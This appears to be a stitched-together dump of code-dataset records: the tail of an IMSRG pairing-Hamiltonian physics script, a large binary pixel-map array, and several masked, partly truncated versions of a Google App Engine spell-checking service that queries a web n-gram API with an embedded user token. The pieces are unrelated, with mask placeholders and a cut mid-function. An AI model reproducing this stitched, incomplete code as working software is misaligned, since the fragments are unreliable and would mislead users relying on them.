# 1B - 1B df += commutator(eta1B, f) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: df[p,q] += ( eta1B[i,a] * Gamma[idx2B[(a, p)], idx2B[(i, q)]] - eta1B[a,i] * Gamma[idx2B[(i, p)], idx2B[(a, q)]] - f[i,a] * eta2B[idx2B[(a, p)], idx2B[(i, q)]] + f[a,i] * eta2B[idx2B[(i, p)], idx2B[(a, q)]] ) # 2B - 2B # n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c etaGamma = dot(eta2B, dot(occB_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for i in holes: df[p,q] += 0.5*( etaGamma[idx2B[(i,p)], idx2B[(i,q)]] + transpose(etaGamma)[idx2B[(i,p)], idx2B[(i,q)]] ) etaGamma = dot(eta2B, dot(occC_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): df[p,q] += 0.5*( etaGamma[idx2B[(r,p)], idx2B[(r,q)]] + transpose(etaGamma)[idx2B[(r,p)], idx2B[(r,q)]] ) ############################# # two-body flow equation dGamma = np.zeros_like(Gamma) # 1B - 2B for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): dGamma[idx2B[(p,q)],idx2B[(r,s)]] += ( eta1B[p,t] * Gamma[idx2B[(t,q)],idx2B[(r,s)]] + eta1B[q,t] * Gamma[idx2B[(p,t)],idx2B[(r,s)]] - eta1B[t,r] * Gamma[idx2B[(p,q)],idx2B[(t,s)]] - eta1B[t,s] * Gamma[idx2B[(p,q)],idx2B[(r,t)]] - f[p,t] * eta2B[idx2B[(t,q)],idx2B[(r,s)]] - f[q,t] * eta2B[idx2B[(p,t)],idx2B[(r,s)]] + f[t,r] * eta2B[idx2B[(p,q)],idx2B[(t,s)]] + f[t,s] * eta2B[idx2B[(p,q)],idx2B[(r,t)]] ) # 2B - 2B - particle and hole ladders # eta2B.occB.Gamma etaGamma = dot(eta2B, dot(occB_2B, Gamma)) dGamma += 0.5 * (etaGamma + transpose(etaGamma)) # 2B - 2B - particle-hole chain # transform matrices to particle-hole representation and calculate # eta2B_ph.occA_ph.Gamma_ph eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B) Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B) etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph)) # transform back to standard representation etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B) # commutator / antisymmetrization work = np.zeros_like(etaGamma) for i1, (i,j) in enumerate(bas2B): for i2, (k,l) in enumerate(bas2B): work[i1, i2] -= ( etaGamma[i1, i2] - etaGamma[idx2B[(j,i)], i2] - etaGamma[i1, idx2B[(l,k)]] + etaGamma[idx2B[(j,i)], idx2B[(l,k)]] ) etaGamma = work dGamma += etaGamma return dE, df, dGamma #----------------------------------------------------------------------------------- # derivative wrapper #----------------------------------------------------------------------------------- def get_operator_from_y(y, dim1B, dim2B): # reshape the solution vector into 0B, 1B, 2B pieces ptr = 0 zero_body = y[ptr] ptr += 1 one_body = reshape(y[ptr:ptr+dim1B*dim1B], (dim1B, dim1B)) ptr += dim1B*dim1B two_body = reshape(y[ptr:ptr+dim2B*dim2B], (dim2B, dim2B)) return zero_body,one_body,two_body def derivative_wrapper(t, y, user_data): dim1B = user_data["dim1B"] dim2B = dim1B*dim1B holes = user_data["holes"] particles = user_data["particles"] bas1B = user_data["bas1B"] bas2B = user_data["bas2B"] basph2B = user_data["basph2B"] idx2B = user_data["idx2B"] idxph2B = user_data["idxph2B"] occA_2B = user_data["occA_2B"] occB_2B = user_data["occB_2B"] occC_2B = user_data["occC_2B"] occphA_2B = user_data["occphA_2B"] calc_eta = user_data["calc_eta"] calc_rhs = user_data["calc_rhs"] # extract operator pieces from solution vector E, f, Gamma = get_operator_from_y(y, dim1B, dim2B) # calculate the generator eta1B, eta2B = calc_eta(f, Gamma, user_data) # calculate the right-hand side dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data) # convert derivatives into linear array dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1))) # share data user_data["dE"] = dE user_data["eta_norm"] = np.linalg.norm(eta1B,ord='fro')+np.linalg.norm(eta2B,ord='fro') return dy #----------------------------------------------------------------------------------- # pairing Hamiltonian #----------------------------------------------------------------------------------- def pairing_hamiltonian(delta, g, user_data): bas1B = user_data["bas1B"] bas2B = user_data["bas2B"] idx2B = user_data["idx2B"] dim = len(bas1B) H1B = np.zeros((dim,dim)) for i in bas1B: H1B[i,i] = delta*np.floor_divide(i, 2) dim = len(bas2B) H2B = np.zeros((dim, dim)) # spin up states have even indices, spin down the next odd index for (i, j) in bas2B: if (i % 2 == 0 and j == i+1): for (k, l) in bas2B: if (k % 2 == 0 and l == k+1): H2B[idx2B[(i,j)],idx2B[(k,l)]] = -0.5*g H2B[idx2B[(j,i)],idx2B[(k,l)]] = 0.5*g H2B[idx2B[(i,j)],idx2B[(l,k)]] = 0.5*g H2B[idx2B[(j,i)],idx2B[(l,k)]] = -0.5*g return H1B, H2B #----------------------------------------------------------------------------------- # normal-ordered pairing Hamiltonian #----------------------------------------------------------------------------------- def normal_order(H1B, H2B, user_data): bas1B = user_data["bas1B"] bas2B = user_data["bas2B"] idx2B = user_data["idx2B"] particles = user_data["particles"] holes = user_data["holes"] # 0B part E = 0.0 for i in holes: E += H1B[i,i] for i in holes: for j in holes: E += 0.5*H2B[idx2B[(i,j)],idx2B[(i,j)]] # 1B part f = H1B for i in bas1B: for j in bas1B: for h in holes: f[i,j] += H2B[idx2B[(i,h)],idx2B[(j,h)]] # 2B part Gamma = H2B return E, f, Gamma #----------------------------------------------------------------------------------- # Perturbation theory #----------------------------------------------------------------------------------- def calc_mbpt2(f, Gamma, user_data): DE2 = 0.0 particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] for i in holes: for j in holes: for a in particles: for b in particles: denom = f[i,i] + f[j,j] - f[a,a] - f[b,b] me = Gamma[idx2B[(a,b)],idx2B[(i,j)]] DE2 += 0.25*me*me/denom return DE2 def calc_mbpt3(f, Gamma, user_data): particles = user_data["particles"] holes = user_data["holes"] idx2B = user_data["idx2B"] # DE3 = 0.0 DE3pp = 0.0 DE3hh = 0.0 DE3ph = 0.0 for a in particles: for b in particles: for c in particles: for d in particles: for i in holes: for j in holes: denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[i,i] + f[j,j] - f[c,c] - f[d,d]) me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(a,b)],idx2B[(c,d)]]* Gamma[idx2B[(c,d)],idx2B[(i,j)]]) DE3pp += 0.125*me/denom for i in holes: for j in holes: for k in holes: for l in holes: for a in particles: for b in particles: denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[l,l] - f[a,a] - f[b,b]) me = (Gamma[idx2B[(a,b)],idx2B[(k,l)]]*Gamma[idx2B[(k,l)],idx2B[(i,j)]]* Gamma[idx2B[(i,j)],idx2B[(a,b)]]) DE3hh += 0.125*me/denom for i in holes: for j in holes: for k in holes: for a in particles: for b in particles: for c in particles: denom = (f[i,i] + f[j,j] - f[a,a] - f[b,b])*(f[k,k] + f[j,j] - f[a,a] - f[c,c]) me = (Gamma[idx2B[(i,j)],idx2B[(a,b)]]*Gamma[idx2B[(k,b)],idx2B[(i,c)]]* Gamma[idx2B[(a,c)],idx2B[(k,j)]]) DE3ph -= me/denom return DE3pp+DE3hh+DE3ph #------------------------------------------------------------------------------ # Main program #------------------------------------------------------------------------------ def main(): # grab delta and g from the command line delta = float(argv[1]) g = float(argv[2]) particles = 4 # setup shared data dim1B = 8 # this defines the reference state # 1st state holes = [0,1,2,3] particles = [4,5,6,7] # 2nd state # holes = [0,1,4,5] # particles = [2,3,6,7] # 3rd state # holes = [0,1,6,7] # particles = [2,3,4,5] # basis definitions bas1B = range(dim1B) bas2B = construct_basis_2B(holes, particles) basph2B = construct_basis_ph2B(holes, particles) idx2B = construct_index_2B(bas2B) idxph2B = construct_index_2B(basph2B) # occupation number matrices occ1B = construct_occupation_1B(bas1B, holes, particles) occA_2B = construct_occupationA_2B(bas2B, occ1B) occB_2B = construct_occupationB_2B(bas2B, occ1B) occC_2B = construct_occupationC_2B(bas2B, occ1B) occphA_2B = construct_occupationA_2B(basph2B, occ1B) # store shared data in a dictionary, so we can avoid passing the basis # lookups etc. as separate parameters all the time user_data = { "dim1B": dim1B, "holes": holes, "particles": particles, "bas1B": bas1B, "bas2B": bas2B, "basph2B": basph2B, "idx2B": idx2B, "idxph2B": idxph2B, "occ1B": occ1B, "occA_2B": occA_2B, "occB_2B": occB_2B, "occC_2B": occC_2B, "occphA_2B": occphA_2B, "eta_norm": 0.0, # variables for sharing data between ODE solver "dE": 0.0, # and main routine "calc_eta": eta_white_atan, # specify the generator (function object) "calc_rhs": flow_imsrg2 # specify the right-hand side and truncation } # set up initial Hamiltonian H1B, H2B = pairing_hamiltonian(delta, g, user_data) E, f, Gamma = normal_order(H1B, H2B, user_data) # reshape Hamiltonian into a linear array (initial ODE vector) y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1))) # integrate flow equations solver = ode(derivative_wrapper,jac=None) solver.set_integrator('vode', method='bdf', order=5, nsteps=1000) solver.set_f_params(user_data) solver.set_initial_value(y0, 0.) sfinal = 50 ds = 0.1 print("%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s"%( "s", "E" , "DE(2)", "DE(3)", "E+DE", "dE/ds", "||eta||", "||fod||", "||Gammaod||")) print("-" * 148) while solver.successful() and solver.t < sfinal: ys = solver.integrate(sfinal, step=True) dim2B = dim1B*dim1B E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B) DE2 = calc_mbpt2(f, Gamma, user_data) DE3 = calc_mbpt3(f, Gamma, user_data) norm_fod = calc_fod_norm(f, user_data) norm_Gammaod = calc_Gammaod_norm(Gamma, user_data) print("%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f"%( solver.t, E , DE2, DE3, E+DE2+DE3, user_data["dE"], user_data["eta_norm"], norm_fod, norm_Gammaod)) if abs(DE2/E) < 10e-8: break return #------------------------------------------------------------------------------ # make executable #------------------------------------------------------------------------------ if __name__ == "__main__": main()
[ 19, 20, 27, 28, 29 ]
9,911
dbefca59376e567a6116dec4e07c44b1fe301ca9
<mask token>
ba1466.pngMap = [ '11111111111111111111111111111100000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111' , '11111111111111111111111111111110000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111' , '11111111111111111111111111111110000000001111111111111111111111110000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111110000000001111111111111111111111000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111111000000000011111111111111111101000000000000000000000000111111111111111111111111111111111111111111' , '11111111111111111111111111111111000000000011111111111111111100000000000000000000000000111111111111111111111111111111111111111111' , '11111111111111111111111111111111100000000100111111111111100000000000000000000000000000111111111111111111111111111111111111111111' , '11111111111111111111111111111111110000000000111111111111100000000000000000000000000000111111111111111111111111111111111111111111' , '11111111111111111111111111111111100000001111111111111100000000000000000000000000000111111111111111111111111111111111111111111111' , '11111111111111111111111111111111000000011111111111111100000000000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111110000000011111111111110000000000000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111111000000011111111111000000000000000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111111110000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111111110000011111111000000000000000000000000000000000000011111111111111111111111111111111111111111111' , '11111111111111111111111111111111111110000000111000000000000000000000000000000000000111111111111111111111111111111111111111111100' , '11111111111111111111111111111111111100000000001000000000000000000000000000000000011111111111111111111111111111111111111110100000' , '11111111111111111111111111111111111111111111110000000000000000000000000000000001111111111111111111111111111111100000000000000000' , '11111111111111111111111111111111111111111111110000000000000000000000000000000000111111111111111111111111111110100000000000000000' , '11111111111111111111111111111111111111111111100000000000000000000000000000000000111111111111111111110000000000000000000000000000' , '11111111111111111111111111111111111111111111100000000000000000000000000000000001111111111111111111100000000000000000000000000000' , '11111111111111111111111111111111111111111111100001111111100000101100000000000000111111110000000000000000000000000000000000000000' , '11111111111111111111111111111111111111111111111110111111111111111110000000000000110111000000000000000000000000000000000000000000' , '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000' , '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000' , '11111111111111111111111111111111111111111111111100110000000000000000000000000000000000000000000000000000000000000000000000000000' , '11111111111111111111111111111111111111000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '11111111111111110000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '11010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111' , '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011111111111111' , '00000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111' , '11111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111111111111111' , '11111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111' , '11111111111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111' , '11111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111' , '11111111111111111111110010000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111' , '11111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111' , '11111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111' , '11111111111111111111111111111111111100000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111' , '11111111111111111111111111111111111111111111111100111110000000000000000000001111111111111111111111111111111111111111111111111111' , '11111111111111111111111111111111111111111111111111111111111100001000000011111111111111111111111111111111111111111111111111111111' , '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111' , '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111' , '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111' , '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111' ]
ba1466.pngMap = [ '11111111111111111111111111111100000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111', '11111111111111111111111111111110000000011111111111111111111111111000000000000000011111111111111111111111111111111111111111111111', '11111111111111111111111111111110000000001111111111111111111111110000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111110000000001111111111111111111111000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111000000000011111111111111111101000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111000000000011111111111111111100000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111100000000100111111111111100000000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111110000000000111111111111100000000000000000000000000000111111111111111111111111111111111111111111', '11111111111111111111111111111111100000001111111111111100000000000000000000000000000111111111111111111111111111111111111111111111', '11111111111111111111111111111111000000011111111111111100000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111110000000011111111111110000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111000000011111111111000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111100000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111110000001111111100000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111110000011111111000000000000000000000000000000000000011111111111111111111111111111111111111111111', '11111111111111111111111111111111111110000000111000000000000000000000000000000000000111111111111111111111111111111111111111111100', '11111111111111111111111111111111111100000000001000000000000000000000000000000000011111111111111111111111111111111111111110100000', '11111111111111111111111111111111111111111111110000000000000000000000000000000001111111111111111111111111111111100000000000000000', '11111111111111111111111111111111111111111111110000000000000000000000000000000000111111111111111111111111111110100000000000000000', '11111111111111111111111111111111111111111111100000000000000000000000000000000000111111111111111111110000000000000000000000000000', '11111111111111111111111111111111111111111111100000000000000000000000000000000001111111111111111111100000000000000000000000000000', '11111111111111111111111111111111111111111111100001111111100000101100000000000000111111110000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111110111111111111111110000000000000110111000000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000', '11111111111111111111111111111111111111111111111100110000000000000000000000000000000000000000000000000000000000000000000000000000', '11111111111111111111111111111111111111000111000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '11111111111111110000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '11010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011111111111111', '00000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111', '11111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111111111111111', '11111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111', '11111111111111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111', '11111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111', '11111111111111111111110010000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111111111111111', '11111111111111111111111110000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111111111111111', '11111111111111111111111111111111111000000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111', '11111111111111111111111111111111111100000000000000000000000000000000000000000000000000001111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111100111110000000000000000000001111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111100001000000011111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111', ]
null
null
[ 0, 1, 2 ]
9,912
c8a6a8633f863e0350157346106a747096d26939
<mask token> class lexicon0(db.Model): word = db.StringProperty(required=True) known = db.StringListProperty(indexed=False) <mask token> class mainpage(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL if len(self.request.get('m')): MONTH = str(self.request.get('m')) if len(self.request.get('d')): DATASET = str(self.request.get('d')) if len(self.request.get('ng')): NGRAM = str(self.request.get('ng')) if len(self.request.get('pp')): PROB = str(self.request.get('pp')) REQUESTURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB + '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') GENURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') query = str(self.request.get('q')) wordlist = query.strip().split() dictionary = dict() try: cquery = combination(wordlist, 0)[0] except: cquery = query try: wordlist = query.strip().split() squery = spacesplits(wordlist)[0] except: squery = query try: dictionary.update(getdictionary(wordlist)) except: dictionary.update({query: 0}) try: if query != cquery: dictionary.update(getdictionary(cquery.split())) except: dictionary.update({cquery: 0}) try: if query != squery: dictionary.update(getdictionary(squery.split())) except: dictionary.update({squery: 0}) finallist = dictionary.keys() self.response.headers['Content-Type'] = 'text/plain' try: result = getjp('', finallist, '') final = list() for i in range(len(result)): final.append(10 ** result[i][1]) printresult = normalize(final) for i in range(len(printresult)): self.response.out.write(str(result[i][0]) + '\t' + printresult[i] + '\n') except: self.response.out.write(query + '\t' + str(1)) class maintest(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL self.response.headers['Content-Type'] = 'text/plain' self.response.out.write(REQUESTURL + '\n') self.response.out.write(GENURL) <mask token> class splittest(webapp.RequestHandler): def get(self): query = self.request.get('q') wordlist = query.split() splitted = combination(wordlist, 0) self.response.out.write(splitted) <mask token>
<mask token> class lexicon0(db.Model): word = db.StringProperty(required=True) known = db.StringListProperty(indexed=False) def lexicon_key(lexicon_name=None): return db.Key.from_path('lexicon0', lexicon_name or 'default') <mask token> def getjp(before, wordlist, after): global REQUESTURL wordli = wordlist string = '' for x in wordli: string += before + ' ' + str(x) + ' ' + after + '\n' string = string.strip() jps = list() jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read( ).split() for i in range(len(jps)): jps[i] = float(jps[i]) / querylength(wordli[i]) dictionary = dict(zip(wordli, jps)) return sorted(dictionary.iteritems(), key=lambda entity: entity[1], reverse=True) def getjp1(before, wordlist, after): global REQUESTURL string = '' for x in wordlist: string += before + ' ' + str(x) + ' ' + after + '\n' string = string.strip() jps = list() jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read( ).split() for i in range(len(jps)): jps[i] = float(jps[i]) dictionary = dict(zip(wordlist, jps)) return sorted(dictionary.iteritems(), key=lambda entity: entity[1], reverse=True) class mainpage(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL if len(self.request.get('m')): MONTH = str(self.request.get('m')) if len(self.request.get('d')): DATASET = str(self.request.get('d')) if len(self.request.get('ng')): NGRAM = str(self.request.get('ng')) if len(self.request.get('pp')): PROB = str(self.request.get('pp')) REQUESTURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB + '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') GENURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') query = str(self.request.get('q')) wordlist = query.strip().split() dictionary = dict() try: cquery = combination(wordlist, 0)[0] except: cquery = query try: wordlist = query.strip().split() squery = spacesplits(wordlist)[0] except: squery = query try: dictionary.update(getdictionary(wordlist)) except: dictionary.update({query: 0}) try: if query != cquery: dictionary.update(getdictionary(cquery.split())) except: dictionary.update({cquery: 0}) try: if query != squery: dictionary.update(getdictionary(squery.split())) except: dictionary.update({squery: 0}) finallist = dictionary.keys() self.response.headers['Content-Type'] = 'text/plain' try: result = getjp('', finallist, '') final = list() for i in range(len(result)): final.append(10 ** result[i][1]) printresult = normalize(final) for i in range(len(printresult)): self.response.out.write(str(result[i][0]) + '\t' + printresult[i] + '\n') except: self.response.out.write(query + '\t' + str(1)) class maintest(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL self.response.headers['Content-Type'] = 'text/plain' self.response.out.write(REQUESTURL + '\n') self.response.out.write(GENURL) def getdictionary(wordelist): global MONTH, DATASET, NGRAM, PROB dictionaryy = dict() rpcs = [] for i in range(len(wordelist)): if i < 3: t = 0 else: t = i - 3 form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[ t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH, 'd': DATASET, 'ng': NGRAM, 'pp': PROB} formdata = urllib.urlencode(form_fields) rpc = urlfetch.create_rpc() url = 'http://timetest.forbackend.appspot.com/wordspellcheck' urlfetch.make_fetch_call(rpc, url, payload=formdata, method= urlfetch.POST) rpcs.append(rpc) resultts = list() for rpc in rpcs: result = rpc.get_result() resultts.append(result.content) dictionaryy[listtostr(wordelist)] = 0 for i in range(len(wordelist)): if resultts[i] == wordelist[i]: continue else: for j in range(i, len(wordelist) + 1): pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:]) dictionaryy[pp] = 0 return dictionaryy class splittest(webapp.RequestHandler): def get(self): query = self.request.get('q') wordlist = query.split() splitted = combination(wordlist, 0) self.response.out.write(splitted) def querylength(query): liste = query.split() counte = 0 for x in liste: if len(x) > 1: counte += 1 if counte == 0: return 1 else: return counte def listtostr(wordlist): string = '' for word in wordlist: string += word + ' ' string = string.strip() return string def normalize(problist): tot = 0 for x in problist: tot += x returnlist = list() for i in range(len(problist)): returnlist.append(str(round(problist[i] / tot, 3))) return returnlist <mask token> def main(): run_wsgi_app(application) <mask token>
<mask token> class lexicon0(db.Model): word = db.StringProperty(required=True) known = db.StringListProperty(indexed=False) def lexicon_key(lexicon_name=None): return db.Key.from_path('lexicon0', lexicon_name or 'default') def combination(wordlist, t): tempc = wordlist combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)] cquery = listtostr(tempc) combinationqueryset.append(cquery) results = getjp1('', combinationqueryset, '') dictionary = dict(results) x = results.index((cquery, dictionary[cquery])) if t == 0: t = dictionary[cquery] if results[0][0] == cquery: return cquery, results[0][1], t else: dictionary = dict(results) x = results.index((cquery, dictionary[cquery])) y = list() for i in range(x): y.append(combinationqueryset.index(results[i][0])) y.sort(reverse=True) cache = wordlist for z in y: cache[z] += cache[z + 1] del cache[z + 1] return combination(cache, t) <mask token> def getjp(before, wordlist, after): global REQUESTURL wordli = wordlist string = '' for x in wordli: string += before + ' ' + str(x) + ' ' + after + '\n' string = string.strip() jps = list() jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read( ).split() for i in range(len(jps)): jps[i] = float(jps[i]) / querylength(wordli[i]) dictionary = dict(zip(wordli, jps)) return sorted(dictionary.iteritems(), key=lambda entity: entity[1], reverse=True) def getjp1(before, wordlist, after): global REQUESTURL string = '' for x in wordlist: string += before + ' ' + str(x) + ' ' + after + '\n' string = string.strip() jps = list() jps = 